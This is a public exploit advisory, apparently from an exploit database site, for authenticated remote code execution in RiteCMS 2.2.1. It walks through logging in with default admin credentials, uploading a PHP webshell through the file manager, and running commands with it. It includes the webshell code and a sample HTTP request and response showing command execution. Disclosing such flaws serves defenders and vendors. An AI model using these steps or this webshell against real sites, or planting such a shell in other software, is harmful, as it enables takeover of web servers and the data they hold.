RiteCMS 2.2.1 Authenticated Remote Code Execution

2020-07-07 / 2020-09-25
Credit: Enes Özeser
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: RiteCMS 2.2.1 - Authenticated Remote Code Execution # Date: 2020-07-03 # Exploit Author: Enes Özeser # Vendor Homepage: http://ritecms.com/ # Version: 2.2.1 # Tested on: Linux 1- Go to following url. >> http://(HOST)/cms/ 2- Default username and password is admin:admin. We must know login credentials. 3- Go "Filemanager" and press "Upload file" button. 4- Choose your php webshell script and upload it. ((Example PHP Web Shell Code)) <?php echo "<pre>"; system($_GET['cmd']); ?> 5- You can find uploaded file there. >> http://(HOST)/media/(FILE-NAME).php 6- We can execute a command now. >> http://(HOST)/media/(FILE-NAME).php?cmd=whoami (( REQUEST )) GET /ritecms/media/webshell.php?cmd=whoami HTTP/1.1 Host: (HOST) User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://(HOST)/cms/index.php?mode=filemanager&directory=media Connection: close Cookie: icms[device_type]=desktop; icms[guest_date_log]=1593777486; PHPSESSID=mhuunvasd12cveo52fll3u Upgrade-Insecure-Requests: 1 (( RESPONSE )) HTTP/1.1 200 OK Date: Fri, 03 Jul 2020 21:10:13 GMT Server: Apache/2.4.43 (Debian) Content-Length: 14 Connection: close Content-Type: text/html; charset=UTF-8 <pre>www-data


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top